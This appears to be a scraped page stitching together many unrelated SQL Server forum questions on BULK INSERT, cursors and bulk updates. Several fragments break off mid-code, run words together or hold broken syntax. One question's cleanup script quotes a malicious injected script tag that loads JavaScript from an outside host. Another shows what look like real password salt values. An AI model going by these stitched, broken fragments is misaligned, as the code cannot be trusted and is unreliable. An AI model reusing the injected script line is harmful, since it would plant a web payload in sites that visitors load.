Hello,
I am trying to read in from a csv file which works like this:
DECLARE @doesExist INT
DECLARE @fileName VARCHAR(200)
SET @fileName = 'c:file.csv'
SET NOCOUNT ON
EXEC xp_fileexist "' + @fileName + '", @doesExist OUTPUT
SET NOCOUNT OFF
IF @doesExist = 1
BEGIN
BULK INSERT OrdersBulk
FROM "' + @fileName + '"
WITH
(
FIELDTERMINATOR = ',',
ROWTERMINATOR = '
'
)
END
ELSE
print('Error cant find file')
What I want to do is check another table before each line inserts, if the data already exists I want to do an UPDATE.
I think i can do what i need with a cursor but I think the bulk update just pushes all the data up and will not allow me to put in the cursor.
So is there a way i can read the csv in a cursor instead of using the bulk insert so i can examine each row?
I have to update a field within a table of 60 records or so. Each record has a different field value. it's type varchar. i was given an excel file with the field values and was thinking of a bulk update like bulk insert, but i don't recall that it's possible that way.
Is the only way to create a table, bulk insert, then merge the two tables together with UPDATE?
Just wanted to see if there was an easier way to do it, otherwise i'll take the latter route. Thanks!
FETCH NEXT FROM new_cur2 INTO @new_rec_ibaid,@new_rec_rid,@new_rec_attr,@new_rec_val,@new_rec_orig_rid delete from new_iba_3 where current of new_cur2; --HERE
close new_cur2; deallocate new_cur2;
select * from new_iba_3
WHEN I TRY TO DELETE FROM new_iba_3 IT GIVES CURSOR IS READ ONLY BUT UPDATE WORKS ON THIS TABLE I HAVE NOT DECLARED THIS CURSOUR AS READ ONLY THEN WHY IT IS GIVING THIS ERROR
I am trying to write a cursor to update certain rows in a particularorder as follows: (I need the cursor version, not SQL, as the updatelogic depends on the order of rows and some other conditions. Iremoved the Order-By clause from the statement to simplify it; itgives the same error message with or without it.)DECLARE prod_cursor CURSORFORWARD_ONLYKEYSETFOR SELECT 1 FROM all_products WHERE p_qty = 0 FOR UPDATEThis gives the following error message: "FOR UPDATE cannot bespecified on a READ ONLY cursor."I have tried a few different combinations of cursor types (like SCROLLinstead of FORWARD_ONLY) but they all give this error, although thestatement seems identical to what I have seen in the books and inbooks online.Any ideas on how to convert this into an updating cursor?
Is there a way to read a file name automatically from a network folder? I can successfully bulk insert from this particular folder. The next step is as I add files, I wish to bulk insert the latest file added so the program must make that determination and import that specific file. I can delete the older files if necessary and save them elsewhere but it would still be nice to be able to read the file name. I then wish to store the name of this file, whatever it is, into a field called "SourceFileName" in my table that I am bulk inserting into. Does anyone have an example in dynamic SQL? Thanks.
I am using Microsoft SQL 2005, I need to do a BULK INSERT from a .csv I just downloaded from paypal. I can't edit some of the columns that are given in the report. I am trying to load specific columns from the file.
bulk insert Orders FROM 'C:Users*******DesktopDownloadURL123.csv' WITH ( FIELDTERMINATOR = ',', FIRSTROW = 2,
ROWTERMINATOR = '' )
So where would I state what column names (from row #1 on the .csv file) would be used into what specific column in the table.
I saw this on one of the sites which seemed to guide me towards the answer, but I failed.. here you go, it might help you:
FORMATFILE [ = 'format_file_path' ]
Specifies the full path of a format file. A format file describes the data file that contains stored responses created using the bcp utility on the same table or view. The format file should be used in cases in which:
The data file contains greater or fewer columns than the table or view.
The columns are in a different order.
The column delimiters vary.
There are other changes in the data format. Format files are usually created by using the bcp utility and modified with a text editor as needed. For more information, see bcp Utility.
I have an unusual question... I have a table that I have to select the top 300 records from, check the date on each record, and using an if... then... statement, loop through each record updating a field based on criteria.
The problem is that it takes so long to do this. Is there a way to populate an object and pass that object with the data to a SQL stored procedure to have the SQL server do all the updating as opposed to the application doing the record updating? Does that make sense? Here's a sample of the code and you'll see what I'm talking about.
Thanks in advance for any help or advice you can give.
Imports Microsoft.SqlServer.Server
Imports System.Data.SqlClient
Imports CallTracker_AgingCheck
Module CallTracker
Sub Main()
GetWebAgingData()
GetWebCallsData()
End Sub
#Region "Get Data"
Public agingStatusNumber As New ArrayList
Public agingEscalationNumber As New ArrayList
Public callStatusNumber As New ArrayList
Public CallStatus As New ArrayList
Public Sub GetWebCallsData()
Dim dt As New DataTable
Dim Criteria As String = "SELECT TOP 300 CallID, TIMEOFCALL, Status, StatusNumber " & _
"FROM WebCalls " & _
"WHERE (Status = 'OPEN') OR " & _
"(Status = 'IN PROCESS') OR " & _
"(Status = 'WORKORDER') OR " & _
"(Status = 'PRIORITY') OR " & _
"(Status = 'PENDING') " '& _
'"ORDER BY TimeOfCall DESC"
Dim Fa As String = String.Empty
Dim fromDATE As String = String.Empty
Dim toDate As String = String.Empty
Dim ds As New DataSet()
Dim tbl As String = "WebCalls"
Dim x1 As Integer = 0
Try
Using cn As New SqlClient.SqlConnection(Database.SQLConnection)
cn.Open()
Using cm As SqlClient.SqlCommand = cn.CreateCommand()
cm.CommandText = Criteria
cm.CommandType = CommandType.Text
cm.Parameters.AddWithValue("@CALLID", Fa)
cm.Parameters.AddWithValue("@TIMEOFCALL ", Fa)
cm.Parameters.AddWithValue("@STATUS", Fa)
cm.Parameters.AddWithValue("@STATUSNUMBER", Fa)
Dim Age As TimeSpan = Nothing
Dim _totalHours As Integer = Nothing
Dim EscalateTime As Integer = agingEscalationNumber.Count
Dim DAUpdateCmd As SqlCommand
Using da As New SqlDataAdapter(Criteria, cn)
da.Fill(dt)
Dim callID As Integer = Nothing
Dim statNO As Integer = Nothing
Dim toc As Integer = dt.Rows.Count
Dim x As Integer = 0
For x = 0 To toc - 1
Dim y As Date = dt.Rows(x).Item(1) 'gets the date from the first row in WebCalls for comparison with WebAging
Age = Today.Subtract(y)
_totalHours = Age.TotalHours
If _totalHours > 744 Then
Console.WriteLine("This record is older than 30 days")
Else
callID = dt.Rows(x).Item(0)
DAUpdateCmd = New SqlCommand("Update WebCalls SET STATUSNUMBER = @STATUSNUMBER where CALLID = @CALLID", da.SelectCommand.Connection)
I would like to get the results of a cursor into update statement but it fills only the last record of the cursor
this is the cursor:
Code: DECLARE @avg varchar(50) DECLARE @cur_avg CURSOR SET @cur_avg = CURSOR FOR select cast(avg(cast(reply as decimal(12,2))) as decimal(12,2)) from tbl_app_monitoring group by test_name, application_id
this is the update statement:
Code: OPEN @cur_avg FETCH @cur_avg INTO @avg WHILE (@@FETCH_STATUS = 0) BEGIN UPDATE tbl_app_monitoring_archive SET average = @avg FETCH @cur_avg INTO @avg END
is it also possible to do this without the cursor ?
Please tell me how to code the Update of the current cursor record as one would do using VD/ADO :
VB: Table("Fieldname") = Value
---------------------------------------------------------- Declare @NextNo integer Select @NextNo = (Select NextNo from NextNumbers where NNId = 'AddressBook') + 1
--Create a Cursor through wich to lo loop and Update the ABAN8 with the corrrect NextNo DECLARE Clone_Cursor CURSOR FOR Select ABAN8 from JDE_Train.trndta.F0101_Clone Open Clone_Cursor Fetch Next from Clone_Cursor WHILE @@FETCH_STATUS = 0 BEGIN Select @NextNo = @NextNo + 1 Clone_Cursor("ABAN8") = @NextNo Update Clone_Cursor FETCH NEXT FROM Clone_Cursor END
I need to do something relatively simple…I need to update a table using a cursor. (I may have to create astored procedure for doing this…)I need to declare an update cursor, fetch the cursor and update thedata (and presumably close the cursor and de-allocate it…The update query is as follows… Would anyone there know how todeclare the cursor for update and use it?UPDATE ASET A.Field1 =(SELECT B.Field1FROM B INNER JOIN A ON A.id = B.id)I need to know how to declare the cursor and fetch it.Can anyone give me an example of the code I need for the SQL Server?Thanks!
I've implemented a UDF in SQL Server 2005 written in C#. The function with its assembly has been registered ok with SQL Server and works fine. It accepts three short strings (nvarchar of lengths 5, 35, and 35) and returns a SQL formatted string (SqlString).
When I run the function to test it it works just fine, and the same is true if I run the function inside a cursor to update a field in a table. But when I do a simple update it crashes. I've so far received two different errors: first one error saying a string could not be converted into an integer (but the error does not occur when I enter the same input values manually via a test Windows form, or through the new Query Analyzer as a single query - or using it inside a cursor). Then one error saying a string was too short (I couldn't use substring(X, Y) because the string, I was told, was too short - it wasn't).
The problem thus cannot be with the function since it works just fine if I do like this:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) WHERE PersonId = 10000001
And it works fine while doing the same thing inside a cursor (for instance working with the first 10, 100 or 1000 records).
But when I do this it crashes:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3)
For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff.
Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly.
The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is).
Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here).
Is there a certain tweak I can do to make things work out, or should I code things differently?
I am currently wrapping up a website upgrade for a client and I am working on a development server/database. The development server/database will become the live version. When the upgrade goes live, I will need to update that database with the latest data from specific datatables (no all of them) in the previously live database, but I don't know how to do a bulk refresh of datatables. Problem: specific datatables (not all datatables) from Database1 need to be updated with the data from Database2. Database1 and Database2 are copies of each other with vast differences in some of the data. Result: All of the current, up-to-date data needs to reside on Database1. Solution: Any ideas? I am using MSSQL 2000 and the databases reside on the same server.
We are planning to add a new attribute to one of our tables to speed updata access. Once the attribute is added, we will need to populatethat attribute for each of the records in the table.Since the table in question is very large, the update statement istaking a considerable amount of time. From reading through old postsand Books Online, it looks like one of the big things slowing down theupdate is writing to the transaction log.I have found mention to "truncate log on checkpoint" and using "SETROWCOUNT" to limit the number of rows updated at once. Or "dumptransaction databaseName with No_Log".Does anyone have any opinions on these tactics? Please let me know ifyou want more information about the situation in order to provide ananswer!
So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021 go
select * from products go
declare @desc varchar(max) declare @virus varchar(128) set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>' declare @start int declare @end int declare thecursor CURSOR LOCAL SCROLL_LOCKS for select cdescription from products where cdescription like ('%' + @virus + '%') for update of cdescription
open thecursor fetch next from thecursor into @desc while @@FETCH_STATUS = 0 begin print @desc set @start = charindex(@virus, @desc) set @end = @start + len(@virus) print cast(@start as char) + ', ' + cast(@end as char) set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1) update products set cdescription = @desc where current of thecursor fetch next from thecursor into @desc end
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?
DECLARE @id VARCHAR(10) DECLARE myCursor CURSOR LOCAL FAST_FORWARD FOR SELECT [ServersList] AS 'ID' FROM dbo.Servers
[code]...
How do loop a table server(serverlist,flag) table with these 2 columns.And ping each of the servers in the table and update the flag column to '1' if ping has been successfull or flag to '0' if ping has been unsuccessfull.
HI AllI have a process that I am trying to accomplish with one statement. Icannot think of any way to do it other than using a cursor.I was wondering if anyone could point me in the right direction.I want to update the Domain in Table A with the Domain in Table Bwhere A.Account = B.Account with the highest rank.----------------------------------Table A--------------------------------------------------------------------Account|Domain--------------------------------------------------------------------Micorsoft|null----------------------------------IBM|null-------------------------------------------------------------TAble B--------------------------------------------------------------------------------------------------------------------------Account|Domain|Rank--------------------------------------------------------------------------------------------------------------------------Micorsoft|microsoft.com|9-------------------------------------------------------------Micorsoft|yahoo.com|2-------------------------------------------------------------Micorsoft|hotmail.com|1Thanks!!!
When I run this update statement, it updates the proper badgenumbers but it only updates them to 1 when I did a count? As the data displays some of the results should be more than 1. Why did this occur?
INSERT INTO Users (userName, UserSalt, UserHash1, UserHash2, UT_memberID) select memberFirstName + '.' + memberLastName + '56' as userName, '{AxxxxxDE-6xx6-4xxD-Bxx9-3xxxx79xxxxE}', '{4xxxxxx6-8xx5-6xxD-Cxx6-4xxxFxxx1xx9}', '{0xxx8xxE-Cxx4-6xx8-ExxB-Dxxxx4xxx2xC}', members.memberID From members Inner Join groupLeaders ON members.memberID = groupLeaders.memberID SELECT @@Identity AS UserID
How can I modify the portion that is inserting the '56' at the end of each username to do the following:
1) check to see if username already exists in the database (using a query with "LIKE %'")
2) if not, create the username "as-is" or how it should be without the number
3) if already exists, get a count of records matching your search criteria .... now make a new username + + (count + 1).ToString();
Any thoughts... I am struggling to put these two pieces together.
Thanks,
Zoop
[EDIT - original post below this]
I have modified my method to make this a bit easier. I added a memberID field to my [Users] table so that I can update my [Members] table in a difference statement after the insert takes place.
I have the following query, and it completes succesfully in query analyzer (though I haven't actually executed the SP, just testing the syntax...) anyway, here is what I have:
Code:
INSERT INTO Users (userName, UserSalt, UserHash1, UserHash2, UT_memberID) select memberFirstName + '.' + memberLastName + '56' as userName, '{AxxxxxDE-6xx6-4xxD-Bxx9-3xxxx79xxxxE}', '{4xxxxxx6-8xx5-6xxD-Cxx6-4xxxFxxx1xx9}', '{0xxx8xxE-Cxx4-6xx8-ExxB-Dxxxx4xxx2xC}', members.memberID From members Inner Join groupLeaders ON members.memberID = groupLeaders.memberID SELECT @@Identity AS UserID
I am hoping this will create a user for all members whose 'memberID' can be found in the groupLeaders table... is this correct?
Also, notice the 56 being appended to the end of each username. I would like this to be a random number generated within a given range... can this be done? any advice?
Thanks,
Zoop
[Original post below - provide more background]
I have three tables involved with this insert/update:
I want to insert into the [Users] table the memberFirstName.memberLastName + randomNum into the 'UserName' column from the [Members] table. Also, I want to make all passwords the same, in this case I know the Salt, Hash1, Hash2 I will be using and would like to pass these in for the 'UserHash1' 'UserHash2' fields.
Now, I only want to make this insert where the memberID is in the GroupLeaders table. and Finally, I need to Update my Members table with a UserID where the memberID matches the one used from the groupLeaders table.
Does anyone have any ideas on how I can accomplish this, even if it requires adding a temporary field to one of my tables... here is what I have so far, but am recieving errors and can't quite figure this one out. (btw - I also don't know how to gen the rand num and was using the literal 23 as a placeholder.) Thanks...
Code:
INSERT INTO Users (userName, UserSalt, UserHash1, UserHash2) select a.memberFirstName + '.' + a.memberLastName + '23' + as userName, '{AA99FCDE-6E06-437D-B9E9-3E3D27955C3E}', '{7xxxxxx2-4xx6-9xx1-7xx9-4x3xx4Axxx59}', '{0xx8xxE-Cxx4-6xxx-xxxx-Fxx3xxxx3xxF}', b.memberID as newMemID From members a, groupLeaders b Where a.memberID = b.memberID SELECT @@Identity AS UserID
Update Members Set UserID = Ident_Current('Users') where memberID = newMemID
On a daily basis I need to perform a bulk update. Table totals about 50,000 records with approximately 5,000 changing (deletes, edits, and new records) per day. I'd like to push just the updates somehow, but VB is too slow and I haven't found a way in to handle it in DTS. Not much experience w/ DTS.
I'm transfering between two SQL 2000 servers w/ a VB app sitting in the middle.
UPDATE SCORESET QUAL_SCORE = ((SCORE - average_score)/deviation_score)*(-0.25) +((accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25))WHERE SCORES.DISABLEMENT_ZIP = v_disablement_zipAND SCORES.EQPMNT_CODE = v_eqpmnt_code; is it possible to use this one query to update the QUAL_SCORE field without using cursor.if SCORE and deviation_score are 0, Then (SCORE - average_score)/deviation_score)*(-0.25) is 0,if accuracy_score and accuracy_deviation_score are 0, then (accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25 is 0.
I am importing a text file that list invoice columns. The invoice detail table needs the line items to be listed with sequential numbers. I import the file to a temp table to do the work in and I know I need to have the cursor do loop through and count, however, I have no more hair to pull out.
Hi folks,I have 3 tables of related data in SQL 2000/2005 that receive periodic adds/updates every 30 seconds.I have enabled transactions on all updates, is anything else needed to ensure data consistency during reads in a high # of fetches per second situation?Thanks,johnEdit:Clarification -- I just need the data to be correctly displayed to all users.
We need to import data from flat/xml files into our database. we plan to do so in bulk as amount of data is huge, 2GB+ we need to do some validation checks in our code after that we create insert queries.
We have identity columns that are used as foreign keys in child tables. Question is how can I write a bulk/batch insert statement that will propogate the identity column to the child, as for all other we are creating the query in the application memory. there are 2 parent tables and 1st table value needs to be referred to in 7 tables and second table's value in 6.
I have Three tables Student,Daily_Attendance_Master and Daily_Attendence_Details.
I want to run sql of insert or update of student attendence(apsent or present) in Daily_Attendence_Details based on Daily_Attendance_Master_Id and Student_Id(from one roll number to another).
If Both are present in table Daily_Attendence_Details then i want to run Updating of attendance from one roll number to another roll number in Daily_Attendence_Details on the basis of Daily_Attendence_Details_Id
And if both or any one is not present i want to run insert of student attendense from  one roll number to another roll number in Daily_Attendence_Details.
I give below the structure of three tables Student,Daily_Attendance_Master and Daily_Attendance_Details.
